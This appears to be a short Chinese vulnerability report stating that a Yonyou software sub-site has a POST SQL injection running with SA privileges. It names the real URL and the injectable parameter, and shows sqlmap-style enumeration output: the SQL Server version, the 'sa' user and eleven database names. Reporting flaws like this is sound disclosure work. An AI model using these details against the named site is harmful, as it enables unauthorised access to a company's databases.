用友软件分站流通与零售行业事业部某处出现POST注射, SA权限。只发现问题,不深入,不作恶。
http://soft-sk.yonyou.com/service/jszc.jsp #URL
asktypeid=---注射点---&enddate=JyI%3d&prikey=1&startdate=01/01/1967&Submit=%b2%e9%d1%af #POST数据
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
current user: 'sa'
current database: 'newsksoft'
available databases [11]:
[*] ccerp
[*] cdm
[*] ksoa
[*] master
[*] model
[*] msdb
[*] newsksoft
[*] old_ccerp
[*] skmaster
[*] st_ccerp
[*] tempdb
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;